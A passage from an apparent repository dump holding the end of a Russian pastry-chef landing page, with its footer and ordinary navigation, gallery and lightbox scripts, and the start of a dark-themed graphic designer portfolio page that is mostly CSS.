class=\"social-btn\" href=\"#\" aria-label=\"VK\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"currentColor\">\n                            <path d=\"M15.684 0H8.316C1.592 0 0 1.592 0 8.316v7.368C0 22.408 1.592 24 8.316 24h7.368C22.408 24 24 22.408 24 15.684V8.316C24 1.592 22.408 0 15.684 0zm3.692 17.123h-1.744c-.66 0-.864-.525-2.05-1.727-1.033-1.01-1.49-1.148-1.744-1.148-.355 0-.458.102-.458.593v1.575c0 .424-.135.678-1.253.678-1.846 0-3.896-1.12-5.335-3.202C4.624 10.857 4 8.453 4 7.997c0-.254.102-.491.593-.491h1.744c.44 0 .61.203.78.678.864 2.49 2.303 4.675 2.896 4.675.22 0 .322-.102.322-.66V9.721c-.068-1.186-.695-1.287-.695-1.71 0-.203.17-.407.44-.407h2.744c.373 0 .508.203.508.643v3.473c0 .372.17.508.271.508.22 0 .407-.136.813-.542 1.253-1.405 2.151-3.574 2.151-3.574.119-.254.322-.491.762-.491h1.744c.525 0 .644.271.525.643-.22 1.017-2.354 4.031-2.354 4.031-.186.305-.254.44 0 .78.186.254.796.78 1.203 1.253.745.847 1.32 1.558 1.473 2.049.17.491-.085.745-.576.745z\" />\n                        </svg>\n                    </a>\n                </div>\n            </div>\n            <div class=\"footer-col\">\n                <div class=\"footer-col-title\">Навигация</div>\n                <ul>\n                    <li><a href=\"#about\">О мастере</a></li>\n                    <li><a href=\"#gallery\">Портфолио</a></li>\n                    <li><a href=\"#how\">Как заказать</a></li>\n                    <li><a href=\"#reviews\">Отзывы</a></li>\n                    <li><a href=\"#contact\">Контакты</a></li>\n                </ul>\n            </div>\n            <div class=\"footer-col\">\n                <div class=\"footer-col-title\">Услуги</div>\n                <ul>\n                    <li><a href=\"#gallery\">Свадебные торты</a></li>\n                    <li><a href=\"#gallery\">Детские торты</a></li>\n                    <li><a href=\"#gallery\">Муссовые торты</a></li>\n                    <li><a href=\"#gallery\">Юбилейные торты</a></li>\n                    <li><a href=\"#gallery\">Кэнди-бары</a></li>\n                </ul>\n            </div>\n        </div>\n        <div class=\"footer-bottom\">\n            <span>© 2026 Сладкий момент · Кондитер Виктория · г. Тандем</span>\n            <span style=\"display:flex;align-items:center;gap:6px;\">\n                ❤️ Сделано с любовью\n            </span>\n        </div>\n    </footer>\n\n    <!-- ── SCRIPTS ── -->\n    <script>\n        /* NAV SCROLL */\n        const nav = document.getElementById('nav');\n        window.addEventListener('scroll', () => {\n            nav.classList.toggle('scrolled', window.scrollY > 40);\n        }, { passive: true });\n\n        /* MOBILE NAV */\n        const burger = document.getElementById('nav-burger');\n        const mobileMenu = document.getElementById('nav-mobile');\n        burger.addEventListener('click', () => {\n            const isOpen = burger.classList.toggle('open');\n            mobileMenu.classList.toggle('open', isOpen);\n            document.body.style.overflow = isOpen ? 'hidden' : '';\n        });\n        function closeMobile() {\n            burger.classList.remove('open');\n            mobileMenu.classList.remove('open');\n            document.body.style.overflow = '';\n        }\n\n        /* REVEAL ON SCROLL */\n        const reveals = document.querySelectorAll('.reveal');\n        const revealObserver = new IntersectionObserver((entries) => {\n            entries.forEach(e => {\n                if (e.isIntersecting) {\n                    e.target.classList.add('visible');\n                    revealObserver.unobserve(e.target);\n                }\n            });\n        }, { threshold: 0.12 });\n        reveals.forEach(el => revealObserver.observe(el));\n\n        /* GALLERY FILTER */\n        const filterBtns = document.querySelectorAll('.filter-btn');\n        const galleryItems = document.querySelectorAll('.gallery-item');\n        filterBtns.forEach(btn => {\n            btn.addEventListener('click', () => {\n                filterBtns.forEach(b => b.classList.remove('active'));\n                btn.classList.add('active');\n                const filter = btn.dataset.filter;\n                galleryItems.forEach(item => {\n                    const show = filter === 'all' || item.dataset.category === filter;\n                    item.style.display = show ? '' : 'none';\n                });\n            });\n        });\n\n        /* LIGHTBOX */\n        const galleryImages = ['1.png', '2.png', '3.jpg', '4.png', '5.png', '6.png', '7.png', '8.png', '9.png'];\n        let currentLbIndex = 0;\n\n        const lightbox = document.getElementById('lightbox');\n        const lbImg = document.getElementById('lb-img');\n\n        function openLightbox(index) {\n            currentLbIndex = index;\n            lbImg.src = galleryImages[index];\n            lightbox.classList.add('open');\n            document.body.style.overflow = 'hidden';\n        }\n\n        function closeLightbox() {\n            lightbox.classList.remove('open');\n            document.body.style.overflow = '';\n        }\n\n        function lbNav(dir) {\n            currentLbIndex = (currentLbIndex + dir + galleryImages.length) % galleryImages.length;\n            lbImg.style.opacity = '0';\n            setTimeout(() => {\n                lbImg.src = galleryImages[currentLbIndex];\n                lbImg.style.opacity = '1';\n            }, 150);\n        }\n\n        lightbox.addEventListener('click', (e) => {\n            if (e.target === lightbox) closeLightbox();\n        });\n\n        document.addEventListener('keydown', (e) => {\n            if (!lightbox.classList.contains('open')) return;\n            if (e.key === 'Escape') closeLightbox();\n            if (e.key === 'ArrowLeft') lbNav(-1);\n            if (e.key === 'ArrowRight') lbNav(1);\n        });\n\n        /* FORM SUBMIT */\n        function handleForm(e) {\n            e.preventDefault();\n            const btn = e.target.querySelector('.form-submit');\n            btn.textContent = '✓ Заявка отправлена! Жду вашего звонка...';\n            btn.style.background = 'linear-gradient(135deg, #5cb85c, #3e8e41)';\n            btn.disabled = true;\n            setTimeout(() => {\n                btn.textContent = 'Отправить заявку 🎂';\n                btn.style.background = '';\n                btn.disabled = false;\n                e.target.reset();\n            }, 4000);\n        }\n\n        /* FLOATING SUGAR PARTICLES */\n        const particleColors = ['#f4a8c6', '#e8a870', '#d4608a', '#fce8f0', '#e8c8a0'];\n        const particleShapes = ['♥', '✿', '❋', '✦', '•'];\n\n        function createParticle() {\n            const el = document.createElement('div');\n            el.style.cssText = `\n                position: fixed;\n                font-size: ${6 + Math.random() * 12}px;\n                color: ${particleColors[Math.floor(Math.random() * particleColors.length)]};\n                left: ${Math.random() * 100}vw;\n                bottom: -30px;\n                pointer-events: none;\n                z-index: 0;\n                opacity: 0;\n                animation: particleFly ${8 + Math.random() * 10}s linear forwards;\n                user-select: none;\n            `;\n            el.textContent = particleShapes[Math.floor(Math.random() * particleShapes.length)];\n            document.body.appendChild(el);\n            el.addEventListener('animationend', () => el.remove());\n        }\n\n        setInterval(createParticle, 2200);\n\n        /* Плавный fade при полистании в lightbox */\n        lbImg.style.transition = 'opacity 0.15s ease';\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-designer/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Евгений Демидов — Графический дизайнер</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n    <link href=\"https://fonts.googleapis.com/css2?family=Syne:wght@400;500;600;700;800&family=Inter:wght@300;400;500;600&display=swap\" rel=\"stylesheet\">\n    <style>\n        /* ─── RESET & BASE ─── */\n        *,\n        *::before,\n        *::after {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box;\n        }\n\n        :root {\n            --bg: #080808;\n            --bg2: #0e0e0e;\n            --bg3: #141414;\n            --text: #f0ede8;\n            --muted: #7a7570;\n            --border: rgba(255, 255, 255, 0.07);\n            --accent: #d4f542;\n            /* electric lime-yellow */\n            --accent2: #b8d82e;\n            --ff-head: 'Syne', sans-serif;\n            --ff-body: 'Inter', sans-serif;\n            --panel-h: 64px;\n        }\n\n        html {\n            scroll-behavior: smooth;\n            overflow-x: hidden;\n        }\n\n        body {\n            background: var(--bg);\n            color: var(--text);\n            font-family: var(--ff-body);\n            overflow-x: hidden;\n            -webkit-font-smoothing: antialiased;\n        }\n\n        img {\n            display: block;\n            max-width: 100%;\n        }\n\n        a {\n            text-decoration: none;\n            color: inherit;\n        }\n\n        /* ─── SCROLLBAR ─── */\n        ::-webkit-scrollbar {\n            width: 3px;\n        }\n\n        ::-webkit-scrollbar-track {\n            background: var(--bg);\n        }\n\n        ::-webkit-scrollbar-thumb {\n            background: var(--accent);\n            border-radius: 99px;\n        }\n\n        ::selection {\n            background: rgba(212, 245, 66, .45);\n            color: #080808;\n        }\n\n        ::-moz-selection {\n            background: rgba(212, 245, 66, .45);\n            color: #080808;\n        }\n\n        /* ─── NAV ─── */\n        nav {\n            position: fixed;\n            top: 0;\n            left: 0;\n            right: 0;\n            z-index: 900;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            padding: 0 6vw;\n            height: 70px;\n            transition: background 0.4s, backdrop-filter 0.4s;\n        }\n\n        nav.scrolled {\n            background: rgba(8, 8, 8, 0.9);\n            backdrop-filter: blur(20px);\n            border-bottom: 1px solid var(--border);\n        }\n\n        .nav-logo {\n            font-family: var(--ff-head);\n            font-size: 1.1rem;\n            font-weight: 800;\n            letter-spacing: 0.06em;\n            text-transform: uppercase;\n        }\n\n        .nav-logo span {\n            color: var(--accent);\n        }\n\n        .nav-links {\n            display: flex;\n            gap: 2.5rem;\n            list-style: none;\n        }\n\n        .nav-links a {\n            font-size: 0.82rem;\n            font-weight: 500;\n            letter-spacing: 0.12em;\n            text-transform: uppercase;\n            color: var(--muted);\n            transition: color 0.25s;\n            position: relative;\n        }\n\n        .nav-links a::after {\n            content: '';\n            position: absolute;\n            bottom: -4px;\n            left: 0;\n            width: 0;\n            height: 1px;\n            background: var(--accent);\n            transition: width 0.3s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .nav-links a:hover {\n            color: var(--text);\n        }\n\n        .nav-links a:hover::after {\n            width: 100%;\n        }\n\n        .nav-cta {\n            font-size: 0.8rem;\n            font-weight: 600;\n            letter-spacing: 0.12em;\n            text-transform: uppercase;\n            border: 1px solid var(--accent);\n            color: var(--accent);\n            padding: 0.55rem 1.4rem;\n            border-radius: 2px;\n            transition: background 0.25s, color 0.25s;\n        }\n\n        .nav-cta:hover {\n            background: var(--accent);\n            color: var(--bg);\n        }\n\n        /* ─── HERO ─── */\n        #hero {\n            position: relative;\n            height: 100vh;\n            min-height: 700px;\n            display: flex;\n            align-items: flex-end;\n            overflow: hidden;\n        }\n\n        .hero-bg {\n            position: absolute;\n            inset: 0;\n            background: url('background.jpg') center/cover no-repeat;\n        }\n\n        .hero-bg::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(160deg,\n                    rgba(8, 8, 8, 0.55) 0%,\n                    rgba(8, 8, 8, 0.2) 40%,\n                    rgba(8, 8, 8, 0.7) 75%,\n                    rgba(8, 8, 8, 0.97) 100%);\n        }\n\n        .hero-inner {\n            position: relative;\n            z-index: 2;\n            padding: 0 6vw 7rem;\n            width: 100%;\n            display: grid;\n            grid-template-columns: 1fr auto;\n            align-items: flex-end;\n            gap: 4rem;\n        }\n\n        .hero-label {\n            font-size: 0.75rem;\n            font-weight: 600;\n            letter-spacing: 0.25em;\n            text-transform: uppercase;\n            color: var(--accent);\n            margin-bottom: 1.5rem;\n            display: flex;\n            align-items: center;\n            gap: 0.7rem;\n        }\n\n        .hero-label::before {\n            content: '';\n            display: block;\n            width: 32px;\n            height: 1px;\n            background: var(--accent);\n        }\n\n        .hero-name {\n            font-family: var(--ff-head);\n            font-size: clamp(3.5rem, 7vw, 7.5rem);\n            font-weight: 800;\n            line-height: 0.92;\n            letter-spacing: -0.03em;\n            text-transform: uppercase;\n        }\n\n        .hero-name em {\n            font-style: normal;\n            display: block;\n            -webkit-text-stroke: 1px rgba(240, 237, 232, 0.35);\n            color: transparent;\n        }\n\n        .hero-scroll {\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 0.6rem;\n            padding-bottom: 0.4rem;\n        }\n\n        .hero-scroll span {\n            font-size: 0.68rem;\n            letter-spacing: 0.2em;\n            text-transform: uppercase;\n            color: var(--muted);\n            writing-mode: vertical-rl;\n        }\n\n        .hero-scroll-line {\n            width: 1px;\n            height: 60px;\n            background: linear-gradient(to bottom, var(--accent), transparent);\n            animation: scrollPulse 2s ease-in-out infinite;\n        }\n\n        @keyframes scrollPulse {\n\n            0%,\n            100% {\n                opacity: 0.4;\n                transform: scaleY(1);\n            }\n\n            50% {\n                opacity: 1;\n                transform: scaleY(1.15);\n            }\n        }\n\n        .hero-tags {\n            display: flex;\n            gap: 0.7rem;\n            flex-wrap: wrap;\n            margin-top: 2rem;\n        }\n\n        .hero-tag {\n            font-size: 0.72rem;\n            font-weight: 500;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            padding: 0.4rem 0.9rem;\n            border: 1px solid var(--border);\n            color: var(--muted);\n            border-radius: 2px;\n        }\n\n        /* ─── секция-разделитель ─── */\n        .section-marquee {\n            overflow: hidden;\n            border-top: 1px solid var(--border);\n            border-bottom: 1px solid var(--border);\n            padding: 0.9rem 0;\n            background: var(--bg2);\n        }\n\n        .marquee-track {\n            display: flex;\n            gap: 3rem;\n            animation: marquee 20s linear infinite;\n            width: max-content;\n        }\n\n        .marquee-track span {\n            font-family: var(--ff-head);\n            font-size: 0.78rem;\n            font-weight: 700;\n            letter-spacing: 0.18em;\n            text-transform: uppercase;\n            color: var(--muted);\n            white-space: nowrap;\n        }\n\n        .marquee-track span.acc {\n            color: var(--accent);\n        }\n\n        @keyframes marquee {\n            from {\n                transform: translateX(0);\n            }\n\n            to {\n                transform: translateX(-50%);\n            }\n        }\n\n        /* ─── ABOUT ─── */\n        #about {\n            padding: 9rem 6vw;\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 8rem;\n            align-items: center;\n        }\n\n        .about-photo-wrap {\n            position: relative;\n        }\n\n        .about-photo-frame {\n            position: relative;\n            overflow: hidden;\n            border-radius: 4px;\n        }\n\n        .about-photo-frame img {\n            width: 100%;\n            aspect-ratio: 3/4;\n            object-fit: cover;\n            object-position: top;\n            filter: grayscale(15%) contrast(1.05);\n            transition: filter 0.5s;\n            display: block;\n        }\n\n        .about-photo-frame:hover img {\n            filter: grayscale(0%) contrast(1);\n        }\n\n        .about-photo-frame::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(to top, rgba(8, 8, 8, 0.5) 0%, transparent 50%);\n            pointer-events: none;\n        }\n\n        .about-photo-accent {\n            position: absolute;\n            bottom: -20px;\n            right: -20px;\n            width: 120px;\n            height: 120px;\n            border: 1px solid var(--accent);\n            border-radius: 2px;\n            z-index: -1;\n        }\n\n        .about-photo-num {\n            position: absolute;\n            top: 1.5rem;\n            left: -1.5rem;\n            font-family: var(--ff-head);\n            font-size: 3.5rem;\n            font-weight: 800;\n            color: var(--accent);\n            opacity: 0.12;\n            line-height: 1;\n            pointer-events: none;\n            user-select: none;\n        }\n\n        .about-text {}\n\n        .section-label {\n            font-size: 0.72rem;\n            font-weight: 600;\n            letter-spacing: 0.22em;\n            text-transform: uppercase;\n            color: var(--accent);\n            margin-bottom: 1.2rem;\n            display: flex;\n            align-items: center;\n            gap: 0.7rem;\n        }\n\n        .section-label::before {\n            content: '';\n            display: block;\n            width: 24px;\n            height: 1px;\n            background: var(--accent);\n        }\n\n        .about-title {\n            font-family: var(--ff-head);\n            font-size: clamp(2rem, 3.5vw, 3.2rem);\n            font-weight: 800;\n            line-height: 1.08;\n            letter-spacing: -0.02em;\n            margin-bottom: 1.8rem;\n        }\n\n        .about-title em {\n            font-style: normal;\n            color: var(--accent);\n        }\n\n        .about-desc {\n            font-size: 1rem;\n            line-height: 1.9;\n            color: var(--muted);\n            margin-bottom: 2rem;\n            max-width: 480px;\n        }\n\n        .about-desc+.about-desc {\n            margin-top: -1rem;\n        }\n\n        .about-stats {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1.5rem;\n            margin-top: 2.5rem;\n            padding-top: 2.5rem;\n            border-top: 1px solid var(--border);\n        }\n\n        .about-stat-val {\n            font-family: var(--ff-head);\n            font-size: 2.4rem;\n            font-weight: 800;\n            color: var(--accent);\n            line-height: 1;\n            height: 2.4rem;\n            overflow: hidden;\n            font-variant-numeric: tabular-nums;\n        }\n\n        .about-stat-label {\n            font-size: 0.75rem;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            color: var(--muted);\n            margin-top: 0.4rem;\n        }\n\n        /* ─── SKILLS ─── */\n        #skills {\n            padding: 9rem 6vw;\n            background: var(--bg2);\n            border-top: 1px solid var(--border);\n            border-bottom: 1px solid var(--border);\n        }\n\n        .skills-head {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 4rem;\n            align-items: end;\n            margin-bottom: 5rem;\n        }\n\n        .skills-title {\n            font-family: var(--ff-head);\n            font-size: clamp(2rem, 3.5vw, 3.2rem);\n            font-weight: 800;\n            line-height: 1.08;\n            letter-spacing: -0.02em;\n        }\n\n        .skills-desc {\n            font-size: 0.95rem;\n            line-height: 1.8;\n            color: var(--muted);\n        }\n\n        .skills-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1px;\n            border: 1px solid var(--border);\n        }\n\n        .skill-card {\n            padding: 2.5rem 2rem;\n            background: var(--bg2);\n            border-right: 1px solid var(--border);\n            transition: background 0.3s;\n            position: relative;\n            overflow: hidden;\n        }\n\n        .skill-card:nth-child(3n) {\n            border-right: none;\n        }\n\n        .skill-card::before {\n            content: '';\n            position: absolute;\n            bottom: 0;\n            left: 0;\n            width: 0;\n            height: 2px;\n            background: var(--accent);\n            transition: width 0.4s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .skill-card:hover {\n            background: var(--bg3);\n        }\n\n        .skill-card:hover::before {\n            width: 100%;\n        }\n\n        .skill-icon {\n            width: 48px;\n            height: 48px;\n            margin-bottom: 1.4rem;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            border: 1px solid var(--border);\n            border-radius: 4px;\n            background: var(--bg);\n            transition: border-color 0.3s;\n        }\n\n        .skill-card:hover .skill-icon {\n            border-color: var(--accent);\n        }\n\n        .skill-icon svg {\n            width: 22px;\n            height: 22px;\n        }\n\n        .skill-name {\n            font-family: var(--ff-head);\n            font-size: 1.05rem;\n            font-weight: 700;\n            letter-spacing: 0.02em;\n            margin-bottom: 0.6rem;\n        }\n\n        .skill-desc {\n            font-size: 0.85rem;\n            line-height: 1.7;\n            color: var(--muted);\n        }\n\n        /* Уровень владения */\n        .skill-level {\n            margin-top: 1.2rem;\n            display: flex;\n            align-items: center;\n            gap: 0.8rem;\n        }\n\n        .skill-level-bar {\n            flex: 1;\n            height: 2px;\n            background: var(--border);\n            border-radius: 99px;\n            overflow: hidden;\n        }\n\n        .skill-level-fill {\n            height: 100%;\n            background: var(--accent);\n            border-radius: 99px;\n            transform: scaleX(0);\n            transform-origin: left;\n            transition: transform 1s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .skill-level-fill.animate {\n            transform: scaleX(1);\n        }\n\n        .skill-level-pct {\n            font-size: 0.72rem;\n            font-weight: 600;\n            color: var(--accent);\n            min-width: 2.2rem;\n            text-align: right;\n        }\n\n        /* ─── PROCESS ─── */\n        #process {\n            padding: 9rem 6vw;\n        }\n\n        .process-head {\n            margin-bottom: 5rem;\n        }\n\n        .process-title {\n            font-family: var(--ff-head);\n            font-size: clamp(2rem, 3.5vw, 3.2rem);\n            font-weight: 800;\n            line-height: 1.08;\n            letter-spacing: -0.02em;\n            margin-top: 1rem;\n        }\n\n        .process-grid {\n            display: grid;\n            grid-template-columns: repeat(4, 1fr);\n            gap: 0;\n            border: 1px solid var(--border);\n        }\n\n        .process-step {\n            padding: 2.5rem 2rem;\n            border-right: 1px solid var(--border);\n            position: relative;\n            overflow: hidden;\n            transition: background 0.3s;\n        }\n\n        .process-step:last-child {\n            border-right: none;\n        }\n\n        .process-step:hover {\n            background: var(--bg2);\n        }\n\n        .process-num {\n            font-family: var(--ff-head);\n            font-size: 3rem;\n            font-weight: 800;\n            color: var(--accent);\n            opacity: 0.12;\n            line-height: 1;\n            margin-bottom: 1.5rem;\n            transition: opacity 0.3s;\n        }\n\n        .process-step:hover .process-num {\n            opacity: 0.25;\n        }\n\n        .process-name {\n            font-family: var(--ff-head);\n            font-size: 1rem;\n            font-weight: 700;\n            margin-bottom: 0.8rem;\n            letter-spacing: 0.02em;\n        }\n\n        .process-desc {\n            font-size: 0.85rem;\n            line-height: 1.7;\n            color: var(--muted);\n        }\n\n        /* ─── WORKS ─── */\n        #works {\n            padding: 9rem 6vw;\n            background: var(--bg2);\n            border-top: 1px solid var(--border);\n        }\n\n        .works-head {\n            display: flex;\n            align-items: flex-end;\n            justify-content: space-between;\n            margin-bottom: 4rem;\n        }\n\n        .works-title {\n            font-family: var(--ff-head);\n            font-size: clamp(2rem, 3.5vw, 3.2rem);\n            font-weight: 800;\n            letter-spacing: -0.02em;\n            margin-top: 0.8rem;\n        }\n\n        .works-all {\n            font-size: 0.8rem;\n            font-weight: 600;\n            letter-spacing: 0.15em;\n            text-transform: uppercase;\n            color: var(--accent);\n            border-bottom: 1px solid var(--accent);\n            padding-bottom: 2px;\n            transition: opacity 0.2s;\n            white-space: nowrap;\n        }\n\n        .works-all:hover {\n            opacity: 0.7;\n        }\n\n        .works-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1.5rem;\n        }\n\n        .work-card {\n            position: relative;\n            overflow: hidden;\n            border-radius: 2px;\n            background: var(--bg3);\n            aspect-ratio: 4/3;\n            cursor: default;\n        }\n\n        .work-card-bg {\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(135deg, var(--bg3) 0%, #1a1a24 100%);\n            transition: transform 0.6s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .work-card:hover .work-card-bg {\n            transform: scale(1.04);\n        }\n\n        .work-card-overlay {\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(to top, rgba(8, 8, 8, 0.95) 0%, rgba(8, 8, 8, 0.1) 60%);\n            opacity: 0;\n            transition: opacity 0.4s;\n        }\n\n        .work-card:hover .work-card-overlay {\n            opacity: 1;\n        }\n\n        .work-card-info {\n            position: absolute;\n            bottom: 0;\n            left: 0;\n            right: 0;\n            padding: 1.5rem 1.5rem;\n            transform: translateY(6px);\n            opacity: 0;\n            transition: transform 0.4s, opacity 0.4s;\n        }\n\n        .work-card:hover .work-card-info {\n            transform: translateY(0);\n            opacity: 1;\n        }\n\n        .work-card-cat {\n            font-size: 0.68rem;\n            font-weight: 600;\n            letter-spacing: 0.18em;\n            text-transform: uppercase;\n            color: var(--accent);\n            margin-bottom: 0.3rem;\n        }\n\n        .work-card-name {\n            font-family: var(--ff-head);\n            font-size: 1rem;\n            font-weight: 700;\n        }\n\n        .work-card-mock {\n            position: absolute;\n            inset: 0;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            overflow: hidden;\n        }\n\n        .work-card-mock svg {\n            position: absolute;\n            inset: 0;\n            width: 100%;\n            height: 100%;\n        }\n\n        /* ── Card 1: Брендинг «Кедр» — лого-сетка ── */\n        .wc1-grid {\n            stroke-dasharray: 300;\n            stroke-dashoffset: 300;\n            transition: stroke-dashoffset 1.2s ease;\n        }\n\n        .wc1-mark {\n            stroke-dasharray: 200;\n            stroke-dashoffset: 200;\n            transition: stroke-dashoffset 0.9s 0.4s ease;\n        }\n\n        .wc1-circle {\n            stroke-dasharray: 250;\n            stroke-dashoffset: 250;\n            transition: stroke-dashoffset 0.8s 0.9s ease;\n        }\n\n        .work-card:hover .wc1-grid {\n            stroke-dashoffset: 0;\n        }\n\n        .work-card:hover .wc1-mark {\n            stroke-dashoffset: 0;\n        }\n\n        .work-card:hover .wc1-circle {\n            stroke-dashoffset: 0;\n        }\n\n        /* ── Card 2: Neon City — мигание огней ── */\n        @keyframes neonFlicker {\n\n            0%,\n            100% {\n                opacity: .7;\n            }\n\n            8% {\n                opacity: .2;\n            }\n\n            10% {\n                opacity: .8;\n            }\n\n            30% {\n                opacity: .6;\n            }\n\n            50% {\n                opacity: .9;\n            }\n\n            76% {\n                opacity: .2;\n            }\n\n            79% {\n                opacity: .85;\n            }\n        }\n\n        @keyframes neonPulse {\n\n            0%,\n            100% {\n                filter: drop-shadow(0 0 3px #d4f542);\n            }\n\n            50% {\n                filter: drop-shadow(0 0 10px #d4f542) drop-shadow(0 0 20px #d4f54288);\n            }\n        }\n\n        .wc2-sign {\n            animation: neonFlicker 4s infinite;\n        }\n\n        .wc2-glow {\n            animation: neonPulse 2.5s ease-in-out infinite;\n        }\n\n        .wc2-rain {\n            animation: wc2Rain 3s linear infinite;\n        }\n\n        @keyframes wc2Rain {\n            from {\n                transform: translateY(-40px);\n            }\n\n            to {\n                transform: translateY(40px);\n            }\n        }\n\n        /* ── Card 3: Dashboard — растущие бары ── */\n        .wc3-bar {\n            transform-box: fill-box;\n            transform-origin: bottom;\n            transform: scaleY(0);\n            transition: transform 0.7s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .wc3-bar:nth-child(1) {\n            transition-delay: .05s;\n        }\n\n        .wc3-bar:nth-child(2) {\n            transition-delay: .12s;\n        }\n\n        .wc3-bar:nth-child(3) {\n            transition-delay: .19s;\n        }\n\n        .wc3-bar:nth-child(4) {\n            transition-delay: .26s;\n        }\n\n        .wc3-bar:nth-child(5) {\n            transition-delay: .33s;\n        }\n\n        .wc3-bar:nth-child(6) {\n            transition-delay: .40s;\n        }\n\n        .wc3-bar:nth-child(7) {\n            transition-delay: .47s;\n        }\n\n        .work-card:hover .wc3-bar {\n            transform: scaleY(1);\n        }\n\n        .wc3-line {\n            stroke-dasharray: 400;\n            stroke-dashoffset: 400;\n            transition: stroke-dashoffset 1.2s 0.3s ease;\n        }\n\n        .work-card:hover .wc3-line {\n            stroke-dashoffset: 0;\n        }\n\n        @keyframes wc3Dot {\n\n            0%,\n            100% {\n                r: 3;\n                opacity: 1;\n            }\n\n            50% {\n                r: 5;\n                opacity: .6;\n            }\n        }\n\n        .wc3-dot {\n            animation: wc3Dot 1.8s ease-in-out infinite;\n        }\n\n        /* ── Card 4: Упаковка — плавающие коробки ── */\n        @keyframes wc4Float {\n\n            0%,\n            100% {\n                transform: translateY(0);\n            }\n\n            50% {\n                transform: translateY(-8px);\n            }\n        }\n\n        @keyframes wc4FloatB {\n\n            0%,\n            100% {\n                transform: translateY(0) translateX(0);\n            }\n\n            50% {\n                transform: translateY(-5px) translateX(3px);\n            }\n        }\n\n        .wc4-boxa {\n            animation: wc4Float 3s ease-in-out infinite;\n        }\n\n        .wc4-boxb {\n            animation: wc4FloatB 3.6s ease-in-out infinite;\n        }\n\n        .wc4-boxc {\n            animation: wc4Float 4.2s ease-in-out infinite reverse;\n        }\n\n        /* ── Card 5: PRISM — вращение и лучи ── */\n        @keyframes wc5Spin {\n            from {\n                transform: rotate(0deg) translateX(-50%) translateY(-50%);\n                transform-origin: 50% 50%;\n            }\n\n            to {\n                transform: rotate(360deg);\n            }\n        }\n\n        @keyframes wc5Rays {\n\n            0%,\n            100% {\n                opacity: .15;\n            }\n\n            50% {\n                opacity: .55;\n            }\n        }\n\n        @keyframes wc5PrismSpin {\n            from {\n                transform: rotate(0deg);\n                transform-box: fill-box;\n                transform-origin: center;\n            }\n\n            to {\n                transform: rotate(360deg);\n            }\n        }\n\n        .wc5-prism {\n            animation: wc5PrismSpin 12s linear infinite;\n            transform-box: fill-box;\n            transform-origin: center;\n        }\n\n        .wc5-ray {\n            animation: wc5Rays 2s ease-in-out infinite;\n        }\n\n        .wc5-ray:nth-child(2) {\n            animation-delay: .3s;\n        }\n\n        .wc5-ray:nth-child(3) {\n            animation-delay: .6s;\n        }\n\n        .wc5-ray:nth-child(4) {\n            animation-delay: .9s;\n        }\n\n        .wc5-ray:nth-child(5) {\n            animation-delay: 1.2s;\n        }\n\n        /* ── Card 6: Into the Void — портал и частицы ── */\n        @keyframes wc6Orbit {\n            from {\n                transform: rotate(0deg);\n            }\n\n            to {\n                transform: rotate(360deg);\n            }\n        }\n\n        @keyframes wc6OrbitR {\n            from {\n                transform: rotate(360deg);\n            }\n\n            to {\n                transform: rotate(0deg);\n            }\n        }\n\n        @keyframes wc6Pulse {\n\n            0%,\n            100% {\n                opacity: .12;\n                r: 60;\n            }\n\n            50% {\n                opacity: .28;\n                r: 66;\n            }\n        }\n\n        @keyframes wc6Spark {\n\n            0%,\n            100% {\n                opacity: 0;\n            }\n\n            50% {\n                opacity: .8;\n            }\n        }\n\n        .wc6-ring1 {\n            animation: wc6Orbit 18s linear infinite;\n            transform-box: fill-box;\n            transform-origin: center;\n        }\n\n        .wc6-ring2 {\n            animation: wc6OrbitR 12s linear infinite;\n            transform-box: fill-box;\n            transform-origin: center;\n        }\n\n        .wc6-ring3 {\n            animation: wc6Orbit 8s linear infinite;\n            transform-box: fill-box;\n            transform-origin: center;\n        }\n\n        .wc6-core {\n            animation: wc6Pulse 3s ease-in-out infinite;\n        }\n\n        .wc6-spark {\n            animation: wc6Spark 2s ease-in-out infinite;\n        }\n\n        .wc6-spark:nth-child(2) {\n            animation-delay: .4s;\n        }\n\n        .wc6-spark:nth-child(3) {\n            animation-delay: .8s;\n        }\n\n        .wc6-spark:nth-child(4) {\n            animation-delay: 1.2s;\n        }\n\n        .wc6-spark:nth-child(5) {\n            animation-delay: 1.6s;\n        }\n\n        /* Цветовые акценты карточек */\n        .work-card:nth-child(1) .work-card-bg {\n            background: linear-gradient(135deg, #0d0d1a 0%, #1a1a3a 100%);\n        }\n\n        .work-card:nth-child(2) .work-card-bg {\n            background: linear-gradient(135deg, #0d1a0d 0%, #1a3a1a 100%);\n        }\n\n        .work-card:nth-child(3) .work-card-bg {\n            background: linear-gradient(135deg, #1a0d0d 0%, #2a1010 100%);\n        }\n\n        .work-card:nth-child(4) .work-card-bg {\n            background: linear-gradient(135deg, #0d1a1a 0%, #0f2a2a 100%);\n        }\n\n        .work-card:nth-child(5) 